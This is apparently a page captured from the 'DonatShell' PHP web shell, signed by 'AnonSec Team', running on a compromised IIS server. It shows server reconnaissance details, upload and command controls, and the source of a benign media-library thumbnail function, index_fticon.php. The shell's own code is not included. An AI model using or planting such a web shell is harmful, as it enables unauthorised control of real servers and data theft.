DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/umedia3/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/umedia3/inc/index_fticon.php
<?php

function index_fticon($wh,$width=200,$height=120,$mode="show",$displaytitle="yes",$linktarget="_top",$floatat="left",$isusedspfilter="no",$dspfilter_text="[text]",$dspfilter_no="",$focuscol="transaprent",$focuscolbg='transparent') {
	global $dcrURL;
	
	global $ifstartrow;
	if ($ifstartrow=="") {
		global $startrow;
	}
	global $dcrs;
	global $fontcolor;
	global $bgcolor;
	if ($fontcolor=="") {
		$fontcolor="black";
	}
	if ($bgcolor=="") {
		$bgcolor="black";
	}
	$wh[text]=str_replace('_',' ',$wh[text]);

	if ($isusedspfilter=="yes") {
		$fulltitle=iconvth($dspfilter_text);
		$fulltitle=str_replace('[no]',$dspfilter_no,$fulltitle);
		$fulltitle=str_replace('[text]',stripslashes($wh[text]),$fulltitle);

		$tmptitle=$fulltitle;
	} else {
		$tmptitle=stripslashes($wh[text]);
		$fulltitle=$tmptitle;
	}
	if (strlen($tmptitle)>35) {
		$tmptitle=substr($tmptitle,0,33)."..";
	}

		$ext=explode('.',$wh[filename]);
		$ext=$ext[count($ext)-1];
		$ext=strtolower($ext);
		$imgext=explode(',',barcodeval_get("sysconfig-o-imageextension"));
		if (in_array($ext,$imgext)) {
			if ($wh[uploadtype]=="url") {
				 $coverurl=$wh[filename];
			} else {
				$coverurl="$dcrURL/_fulltext/$wh[mid]/$wh[filename].thumb.jpg";
			}
		} else {
			$covericon=get_fttypecode($wh);
			if ($wh[uploadtype]=="url") {
				$coverurl="$dcrURL/_tmp/mediatype/$covericon.png";
			} else {
				if (file_exists($dcrs."/_fulltext/$wh[mid]/$wh[filename].thumbimg.jpg")) {
					$coverurl="$dcrURL/_fulltext/$wh[mid]/$wh[filename].thumbimg.jpg";
				} else {
					$coverurl="$dcrURL/_tmp/mediatype/$covericon.png";
				}
			}
		}

	$str='';

	/*
	$str.='<TABLE width="$width" height=1 border=0 cellspacing=0 cellpadding=1 style="float:left"
		onmouseover="this.style.backgroundColor=\'#384354\';"
		onmouseout="this.style.backgroundColor=\'transparent\';">';
	$str.='<TR>
		<TD align=center valign=middle >';


$str.='<table cellpadding=0 cellspacing=0 border=0 width=1 height=1 >
<tr valign=bottom>
	<td align=right><img width=4 height=12 src="$dcrURL/neoimg/frame/1/tl.png"></td>
	<td height=18 align=right background="$dcrURL/neoimg/frame/1/t.png" style="background-repeat:no-repeat;background-position:100% 100%"></td>
	<td align=left><img width=14 height=12 src="$dcrURL/neoimg/frame/1/tr.png"></td>
</tr>';

$str.='<tr >
<td align=right width=18  height="$height" background="$dcrURL/neoimg/frame/1/l.png"></td>
<td align=center bgcolor=white>

<a href="$dcrURL/index.php?startrow=$startrow&mode=viewrecord&mid=$wh[mid]&viewsinglefile=$wh[id]"><img

border=0 height="$height" src="'.$coverurl.'"

></a></td>
<!--  -->
<td width=18 align=left ><img width=14 height="$height"  src="$dcrURL/neoimg/frame/1/r.png"></td></tr>';

$str.='<tr>
	<td align=right><img width=4 height=10 src="$dcrURL/neoimg/frame/1/bl.png"></td>
	<td background="$dcrURL/neoimg/frame/1/b.png" style="background-repeat:no-repeat;background-position:0% 0%"></td>
	<td align=left><img width=14 height=10 src="$dcrURL/neoimg/frame/1/br.png"></td>
</tr>
</table>';

$str.='</TD>
	</TR>';
	if ($displaytitle=="yes") {
	$str.='<TR height=45>
		<TD align=center><a href="$dcrURL/index.php?startrow=$startrow&mode=viewrecord&mid=$wh[mid]&viewsinglefile=$wh[id]"
		style="color: white; font-size:11"  NOTITLE="'.$fulltitle.'">'.$tmptitle;
		if ($wh[annostr]!="") {
			$wh[annostr]=str_replace('|',' ',$wh[annostr]);
			$str.=" <img align=baseline border=0 TITLE=\"Annotation ".stripslashes($wh[annostr])."\"
			src='$dcrURL/neoimg/balloon.png' width=16>";
		}
		$str.='</A></TD>
	</TR>';
	}
	$str.='</TABLE>';

	*/
	$str.='<TABLE width="$width" height=1 border=0 cellspacing=0 cellpadding=1';
	if ($focuscolbg!="transparent") {
		$str.=' style="float:'.$floatat.';border-color:'.$focuscol.'; border-style: dotted; border-width:2; background-color:'.$focuscolbg.'" ';
	} else {
		$str.=' style="float:'.$floatat.';border-color:transparent; border-style: solid; border-width:2; background-color:transparent" ';
	}
	$str.='onmouseover="this.style.backgroundColor=\'#CEEDFF\';"
		onmouseout="this.style.backgroundColor=\''.$focuscolbg.'\';">';
	$str.='<TR>
		<TD align=center valign=middle >';


$str.='<table cellpadding=0 cellspacing=0 border=0 width=1 height=1 style="border-color:$bgcolor;border-width:1;border-style:solid;" >';
$str.='<tr >
<td align=center bgcolor=white>

<a target="$linktarget" href="$dcrURL/index.php?ifstartrow='.$ifstartrow.'&startrow=$startrow&mode=viewrecord&mid=$wh[mid]&viewsinglefile=$wh[id]&setdisplayname='.urlencode($fulltitle).'" "#midnameposition"><img
style="border-color: white"
TITLE="'.$fulltitle.'"
border=3 height="$height" src="'.$coverurl.'"

></a></td>
</tr>';

$str.='
</table>';

$str.='</TD>
	</TR>';
	if ($displaytitle=="yes") {
		$ti_result="";
		for($ti=0;$ti<=strlen($tmptitle);$ti++) {
			$tmpti=substr($tmptitle,$ti,1);
			$ti_result.=$tmpti."<WBR>";
		}
	$str.='<TR height=45 >
		<TD align=center><a target="$linktarget" href="$dcrURL/index.php?ifstartrow='.$ifstartrow.'&startrow=$startrow&mode=viewrecord&mid=$wh[mid]&viewsinglefile=$wh[id]&setdisplayname='.urlencode($fulltitle).'" "#midnameposition"
		style="color: $fontcolor; font-size:11"  TITLE="'.$fulltitle.'">'.$ti_result;
		if ($wh[annostr]!="") {
			$wh[annostr]=str_replace('|',' ',$wh[annostr]);
			$str.=" <img align=absbottom border=0 TITLE=\"Annotation ".stripslashes($wh[annostr])."\"
			src='$dcrURL/neoimg/balloon.png' width=16>";
		}
		$str.='</A></TD>
	</TR>';
	}
	$str.='</TABLE>';

	$str=str_replace('$dcrURL',$dcrURL,$str);
	$str=str_replace('$width',$width,$str);
	$str=str_replace('$linktarget',$linktarget,$str);
	$str=str_replace('$startrow',$startrow,$str);
	$str=str_replace('$fontcolor',$fontcolor,$str);
	$str=str_replace('$bgcolor',$bgcolor,$str);
	$str=str_replace('$height',$height,$str);
	$str=str_replace('$wh[mid]',$wh[mid],$str);
	$str=str_replace('$wh[id]',$wh[id],$str);
	if ($mode=="return") {
		 return $str;
	} else {
		echo $str;
	}
}
?>

Anon7 - 2022
AnonSec Team